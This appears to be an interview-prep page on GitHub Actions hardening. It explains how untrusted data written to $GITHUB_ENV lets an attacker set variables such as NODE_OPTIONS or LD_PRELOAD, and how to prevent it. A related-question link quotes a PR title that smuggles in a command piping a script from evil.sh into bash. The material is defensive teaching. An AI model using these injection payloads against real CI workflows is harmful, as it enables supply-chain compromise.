A workflow writes untrusted data to `$GITHUB_ENV`. Why is that dangerous and how do you fix it?
AdvancedScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Newlines in the data let an attacker define arbitrary env vars for later steps, such as NODE_OPTIONS=--require /tmp/x.js or LD_PRELOAD.
What I'd do →
- Avoid writing untrusted values to
$GITHUB_ENV; pass them as step outputs and map intoenv:of the consuming step. - If unavoidable, use a random heredoc delimiter and validate content (reject newlines).
Why → GITHUB_ENV affects every later step including third-party actions.
Interview tip → Mention NODE_OPTIONS as the concrete exploitation path.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner